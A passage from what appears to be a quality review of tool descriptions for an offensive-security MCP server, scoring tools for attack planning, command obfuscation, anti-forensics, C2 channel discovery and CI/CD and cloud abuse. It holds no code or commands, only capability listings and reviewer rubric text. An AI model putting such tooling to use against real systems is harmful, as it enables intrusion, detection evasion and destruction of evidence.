Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool assesses detection coverage gaps for LOL techniques, listing specific aspects like Sigma coverage, EDR coverage, etc. It is specific about the resource and action, though it does not explicitly differentiate from sibling tools like 'analyze_detection_effectiveness'.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Implied usage for assessing detection gaps for LOL techniques, but no explicit guidance on when to use vs. alternatives (e.g., analyze_detection_effectiveness, find_detection_blind_spots) or when not to use. No context on prerequisites or exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
build_attack_planA
Build structured attack plans from environment assessment — plan generation, scoring, optimization, and export
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Plan operation mode | generate |
| objectives | Yes | List of attack objectives to plan for | |
| constraints | No | Additional constraints for plan generation | |
| environment_id | Yes | Environment session ID returned by enumerate_host | |
| max_complexity | No | Maximum complexity score for generated plan steps | |
| stealth_priority | No | Prioritize stealth over speed in plan generation |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description should fully disclose behavioral traits. However, it merely lists the mode options (already present in the schema) and does not mention any side effects, authorization requirements, or data safety. It lacks transparency about what happens to existing plans or whether the tool modifies state.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, front-loaded sentence that conveys the core purpose and key phases. Every word adds value, with no redundancy or irrelevant details.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite the tool's complexity (6 parameters, nested objects, no output schema), the description is brief and does not explain the output format, how the environment_id is obtained, or how this tool fits into the broader workflow (e.g., after using enumerate_host). It provides a high-level overview but lacks sufficient detail for an agent to fully understand the tool's role and usage sequence.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% description coverage, including the mode enum and defaults. The description adds overall context but does not enhance understanding of individual parameters beyond what the schema already provides. The baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: 'Build structured attack plans from environment assessment'. It also lists the key phases ('plan generation, scoring, optimization, and export'), which distinguishes it from sibling tools that focus on specific findings rather than comprehensive plan building.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies the tool is used after an environment assessment to create a plan, but it does not explicitly specify when to use it versus alternatives, nor does it provide exclusions or prerequisites. The context signals (required parameters 'environment_id' and 'objectives') hint at prerequisites, but the description itself lacks direct guidance.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
chain_obfuscationC
Chain multiple obfuscation layers together for multi-layer command obfuscation
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Chaining strategy to use | multi_layer |
| layers | No | Number of obfuscation layers to chain | |
| command | Yes | Command string to obfuscate with chained layers | |
| platform | Yes | Target platform for obfuscation |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description bears full burden. It only states the action without disclosing side effects, permissions, or what the output entails. Lacks detail on how layers interact or if the command is executed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single efficient sentence that front-loads the action. However, it is too brief given the lack of behavioral transparency, but conciseness itself is good.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With 4 parameters, no output schema, and no annotations, the description fails to explain the output format or operational context. Sibling tools are numerous but not differentiated. Incomplete for an agent to use correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% with each parameter already described. The tool description adds no additional meaning beyond the schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool chains multiple obfuscation layers for multi-layer command obfuscation, using a specific verb and resource. It distinguishes from siblings like obfuscate_payload which handle single-layer obfuscation.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives (e.g., obfuscate_payload, generate_staged_payload). The description does not mention prerequisites or decision criteria.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
compare_os_versionsA
Compare LOL technique behavior across OS versions — binary behavior differences, technique validity, deprecation tracking, new capabilities.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | OS version comparison mode | |
| binary | No | Binary name to compare | |
| os_versions | No | OS versions to compare (e.g. ['Windows 10', 'Windows 11']) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; description does not explicitly state whether the tool is read-only or has side effects. However, the mode enum (behavior_diff, validity, deprecation, new_capabilities) suggests observational behavior. Partial transparency but not fully explicit.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence that is front-loaded and concise. Every word adds value without redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Description covers the core action but lacks details on output format, return values, or behavior for each mode. Given no output schema, more context on expected results would improve usability.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema covers all parameters with descriptions and enums. The tool description reinforces the purpose but adds little extra meaning beyond what the schema provides. Baseline 3 due to high coverage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool compares LOL technique behavior across OS versions, listing specific aspects: binary behavior differences, technique validity, deprecation tracking, new capabilities. It distinguishes from siblings like compare_platforms by focusing on OS version comparison for techniques.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Description implies usage context (comparing across OS versions) but provides no explicit guidance on when to use vs alternatives or when not to use. No exclusions or alternative tool mentions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
compare_platformsB
Cross-platform LOL binary comparison: find equivalents between platforms, compute coverage differences, assess portability of techniques, and build unified attack chains across environments.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Comparison mode: equivalent (find cross-platform alternatives), coverage_diff (compare function coverage between platforms), portability (assess technique portability), unified_chain (build cross-platform attack chains) | |
| binary | No | Binary name for 'equivalent' and 'portability' modes | |
| function | No | LOL function to compare across platforms (e.g. shell, file_read, privilege_escalation) | |
| environment_ids | No | List of environment session IDs for 'unified_chain' mode | |
| source_platform | No | Source platform for 'equivalent' and 'coverage_diff' modes | |
| target_platform | No | Target platform for 'equivalent' and 'coverage_diff' modes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must disclose behavioral traits. It mentions what the tool does (find equivalents, compare coverage, assess portability, build chains), but does not state whether it reads or writes data, requires authentication, or has side effects. The read-only nature is not clarified, leaving the agent uncertain about idempotency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that efficiently lists four key capabilities without extraneous words. While it is front-loaded, it could be slightly more structured (e.g., bullet points), but it remains clear and concise.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With 6 parameters (1 required), no output schema, and moderate complexity, the description covers the main purpose but lacks details on return format, prerequisites, or how to use results. Sibling tools are numerous, but the description does not provide enough context to decide when to use this tool over them.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so all 6 parameters have descriptions. The tool description does not add significant extra meaning beyond the schema; it only reiterates the mode names. Baseline 3 is appropriate as schema already carries the burden.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool does cross-platform LOL binary comparison with four specific modes (equivalent, coverage_diff, portability, unified_chain). It distinguishes from sibling tools like 'compare_os_versions' by focusing on binary techniques rather than OS versions.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage context through the listed modes (e.g., use 'coverage_diff' to compare coverage), but it does not explicitly state when to prefer this tool over alternatives like 'analyze_binary' or 'compare_os_versions'. No exclusion criteria are given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
correlate_incident_timelineC
Correlate incident timeline events to LOL techniques — map events, identify attack sequences, reconstruct attack chains from evidence.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Timeline correlation mode | |
| events | No | List of timeline events to analyze | |
| evidence | No | Partial evidence text to reconstruct chain from |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are present, so the description carries full burden. It only describes core functionality without disclosing whether the tool is read-only, requires permissions, or has side effects. The output behavior is not mentioned.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that front-loads the main action with no wasted words. It is appropriately sized.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite no output schema, the description does not hint at return format or provide examples. For a tool with three parameters and three modes, more detail on expected outcomes or mode usage is needed.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with parameter descriptions. The description paraphrases the enum values but does not add substantial meaning beyond what the schema provides. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool correlates incident timeline events to LOL techniques, with specific actions like mapping events, identifying sequences, and reconstructing chains. It uses a specific verb and resource, but does not explicitly differentiate from sibling tools like 'discover_chains' or 'identify_technique'.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives. The description does not mention prerequisites, exclusions, or specific contexts.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
discover_chainsB
Discover multi-step attack chains in an enumerated environment. Chains combine escalation, persistence, lateral movement, and exfiltration steps into coherent attack narratives with reasoning.
| Name | Required | Description | Default |
|---|---|---|---|
| end_goal | No | For custom chain_type: require chains that end at this goal (e.g. root, persist, lateral) | |
| max_depth | No | Maximum depth (steps) for chain discovery | |
| chain_type | Yes | Type of chain to discover: escalate+persist, escalate+lateral, escalate+exfiltrate, full (all), or custom with start/end constraints | |
| start_binary | No | For custom chain_type: require chains that start with or include this binary | |
| environment_id | Yes | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided. The description mentions that the tool produces 'coherent attack narratives with reasoning' but does not disclose whether the tool is read-only, modifies the environment, or any other behavioral traits. This is insufficient for a tool with no annotation coverage.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence of 20 words that front-loads the core purpose. Every word is relevant and there is no redundancy or filler.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite the tool's complexity (multi-step chains, multiple parameters, no output schema), the description is minimal. It does not explain what 'reasoning' entails, how to interpret results, or relationships between parameters like start_binary and end_goal. More context is needed for effective use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% description coverage for all 5 parameters. The tool description adds no additional parameter-specific context beyond the schema. Baseline score of 3 is appropriate given high schema coverage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: discovering multi-step attack chains that combine escalation, persistence, lateral movement, and exfiltration steps. It uses specific verbs and resources, distinguishing it from siblings that focus on individual steps.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for building composite attack narratives but does not explicitly state when to use this tool versus alternatives like find_escalation_paths or find_persistence_paths. The schema's chain_type enum provides some guidance, but the description lacks direct usage recommendations or exclusions.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
enumerate_hostA
Parse host enumeration data (linpeas, winpeas, manual output), match against LOL knowledge base, and create an environment session for follow-up analysis. Returns matched binaries, attack surface summary, and top quick-win escalation paths.
| Name | Required | Description | Default |
|---|---|---|---|
| platform | Yes | Target platform, or 'auto' to detect from enumeration data | |
| session_name | No | Optional human-readable session name for later reference | |
| enumeration_data | Yes | Raw enumeration output (linpeas, winpeas, manual commands) as text or structured object |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description provides key behavioral traits: it parses data, matches against a knowledge base, creates a session, and returns a summary. It does not mention any destructive actions or side effects beyond session creation, which is disclosed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences, front-loading the core purpose and listing outputs. Every word adds value, with no redundancy or filler.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, the description adequately explains the return value (matched binaries, attack surface, quick-win paths). It could elaborate on session persistence or limitations, but covers key aspects.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the description adds no additional meaning beyond what the input schema already provides for each parameter. The description mentions 'enumeration_data' only implicitly, not adding format or syntax details.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses specific verbs (parse, match, create) and identifies the resource (host enumeration data). It distinguishes from siblings like 'analyze_environment' or 'analyze_binary' by focusing on the initial parse and session creation step.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description clearly indicates when to use: when you have host enumeration output (linpeas, winpeas, manual). It implies this is the entry point for host analysis, but does not explicitly state when not to use or mention alternatives like 'analyze_environment' for follow-up.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
export_caldera_profileB
Export MITRE Caldera-compatible profiles — adversary profiles, ability sets, operation plans.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Caldera export mode | |
| actor_name | No | Adversary actor name | |
| environment_id | No | Environment session ID | |
| operation_name | No | Operation name for plan export |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description bears full burden but only mentions 'export,' omitting details on side effects (e.g., file creation, data mutation), authorization needs, or safety profile.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single sentence front-loads the purpose and enumerates export categories, containing no superfluous words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 4 parameters and no output schema, the description is adequate for basic understanding but lacks usage context and behavioral details, leaving gaps for an agent.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for each parameter. The description adds nothing beyond schema baseline, matching the baseline score of 3.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool exports Caldera-compatible profiles and lists three specific types (adversary profiles, ability sets, operation plans), distinguishing it from the many analysis-oriented sibling tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives, nor any prerequisites or exclusions. The description simply states what it does without context for selection.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
export_reportA
Export findings and analysis as reports — JSON, Markdown, ATT&CK Navigator layer, CSV, executive summary.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Export format | |
| classification | No | Report classification | |
| environment_id | No | Environment session ID | |
| include_sections | No | Sections to include |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden. It does not disclose behavioral traits like read-only nature, authentication requirements, rate limits, or side effects. The tool is likely read-only but this is not stated.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single efficient sentence that front-loads the purpose and lists formats. No redundant information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 4 parameters (1 required, 2 enums) and no output schema, the description is adequate but lacks details about output behavior (e.g., file download, content structure). It is minimally complete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the description adds minimal value beyond the schema. It lists export formats but does not provide additional context for parameters like classification or include_sections.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action ('export') and the resource ('findings and analysis as reports'), listing specific formats. It immediately distinguishes from sibling tools, which focus on analysis and discovery, by being the only export tool.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for exporting reports but does not explicitly state when to use it vs. alternatives or when not to use it. No exclusions or alternative tools are mentioned.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_antiforensicsA
Find anti-forensics techniques — log clearing, artifact deletion, timestomping, logging disable, track covering, shadow copy manipulation
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Type of anti-forensics technique to search for | all |
| platform | No | Target platform to filter techniques for | |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden of disclosing behavioral traits. The description only states the purpose and gives examples; it does not mention any side effects, permissions, rate limits, or whether it is read-only or modified state. This is insufficient for transparency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that immediately conveys the tool's purpose, with examples listed concisely. No unnecessary words or repetition.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description is adequate for a search tool with 3 parameters, but it does not explain the return format or output. Given no output schema, additional information about what the results contain would improve completeness. Still, it covers the core purpose well enough.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, with each parameter having a description. The tool description adds a list of technique examples but does not add meaning beyond what the schema already provides for the parameters. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Find' and the resource 'anti-forensics techniques', listing specific examples (log clearing, artifact deletion, timestomping, etc.). It directly distinguishes itself from sibling tools like find_defense_evasion by focusing on anti-forensics.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies the tool is for searching anti-forensics techniques, but it does not provide explicit guidance on when to use it versus alternatives, nor does it mention exclusion criteria or prerequisites. Usage is implied but not explicitly advised.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_c2_channelsB
Find C2 communication channels using LOL binaries and trusted services — LOLC2, LOTS, tunneling, webhooks, DNS, protocol abuse.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | C2 channel mode: service (LOLC2), domain (LOTS), tunnel, webhook, dns, protocol abuse | service |
| domain | No | Domain to check for LOTS (Living off Trusted Sites) potential | |
| service_name | No | Specific service name to look up for C2 potential | |
| environment_id | No | Environment session ID returned by enumerate_host | |
| stealth_priority | No | Prioritize stealthier C2 channels | |
| available_binaries | No | List of available binaries on the target system |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full burden for behavioral disclosure. However, it only describes the tool's intent without mentioning safety, side effects, permissions, or limitations (e.g., network access required). The agent cannot infer whether this is a read-only search or a potentially destructive operation.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, front-loaded sentence that immediately conveys the tool's core purpose. No extraneous words, making it highly efficient for an AI agent to parse.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 6 parameters and no output schema, the description is too brief. It fails to explain how parameters relate (e.g., which to combine), typical return structure, or example usage. Sibling differentiation is weak without more context about the tool's specific role in C2 discovery.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with parameter descriptions. The description adds a summary of modes but no new details beyond the schema. Baseline of 3 is appropriate as the description does not compensate for low coverage or add significant meaning.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds C2 communication channels and lists specific categories (LOLC2, LOTS, tunneling, etc.), which directly informs the agent of the tool's purpose and distinguishes it from sibling tools like find_lateral_movement or find_credential_access.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives. The description only states what the tool does, leaving the agent to infer usage context from the name and sibling list.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_cicd_abuseB
Find CI/CD pipeline abuse techniques — tool lookup from LOTP catalog, footgun search, pipeline poisoning, config exploitation, supply chain attacks.
| Name | Required | Description | Default |
|---|---|---|---|
| tag | No | Tag to search: eval-sh, config-file, env-var, build-plugin | |
| mode | No | CI/CD abuse analysis mode | tool_lookup |
| tool_name | No | CI/CD tool name (make, gradle, npm, pip, docker, terraform) | |
| config_file | No | Config file to analyze: Makefile, package.json | |
| pipeline_type | No | Pipeline type: github-actions, gitlab-ci, jenkins |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, and the description does not disclose behavioral traits like side effects, permissions, rate limits, or limitations. It only states the purpose and techniques covered.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence that front-loads the purpose. It could be more structured (e.g., bullet points) but avoids verbosity.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the absence of an output schema, the description does not explain return values or behavioral context. It adequately defines the scope but lacks completeness for complex CI/CD analysis.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% with adequate parameter descriptions. The tool description adds no extra meaning beyond what the schema already provides, so baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states 'Find CI/CD pipeline abuse techniques' with a specific verb and resource, and lists the covered techniques (tool lookup, footgun search, etc.), distinguishing it from siblings like find_token_abuse or find_package_manager_abuse.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool versus alternatives such as find_token_abuse or find_package_manager_abuse. The description only lists capabilities without context for selection.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_cloud_abuseB
Find cloud CLI abuse techniques — AWS CLI, gcloud, Azure CLI, kubectl, and Terraform for reconnaissance, privilege escalation, persistence, and data access.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Cloud provider/tool | aws |
| technique | No | Specific technique to look up | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description does not disclose behavioral traits such as side effects, authentication requirements, or output format. It only states it 'finds' techniques, which is insufficient.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, concise and to the point. No fluff, but could be slightly more structured (e.g., separate output info).
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Lacks details on return values or how to interpret results, crucial since there is no output schema. Given many siblings, more context is needed for effective selection.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so descriptions already define parameters. The description adds context by listing cloud tools that map to the 'mode' enum, but does not significantly enhance schema meaning.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds cloud CLI abuse techniques, lists specific tools (AWS CLI, gcloud, Azure CLI, kubectl, Terraform) and purposes (reconnaissance, privilege escalation, etc.), distinguishing it from other find_* tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives like find_token_abuse or find_credential_access. Sibling tools are numerous, but the description does not help the agent choose.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_collectionB
Find collection techniques using LOL binaries — file reading, screen capture, clipboard access, input capture.
| Name | Required | Description | Default |
|---|---|---|---|
| platform | No | Target platform for collection techniques | all |
| target_data | No | Specific data type or file to target for collection | |
| environment_id | No | Environment session ID returned by enumerate_host | |
| collection_type | No | Type of collection technique to search for | all |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must disclose behavioral traits. It only states what the tool does (find techniques) without mentioning output format, side effects, authentication needs, or constraints like pagination or result limits.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that immediately conveys the tool's purpose and scope. No wasted words; it is appropriately front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given four parameters and no output schema, the description lacks details on how parameters interact (e.g., platform and collection_type), what the return data looks like, and any constraints. It leaves the agent without enough context to fully understand the tool's behavior.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema already documents all four parameters. The description adds no additional semantic context beyond listing collection types, which are already enumerated in the collection_type parameter.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: finding collection techniques using LOL binaries, and explicitly lists the types (file reading, screen capture, clipboard, input capture). This distinguishes it from sibling tools like find_credential_access or find_exfiltration_paths.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description does not provide explicit guidance on when to use this tool versus alternatives. The purpose is clear from the name and listed types, but there is no mention of when not to use it or which sibling tools cover similar ground.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_com_abuseB
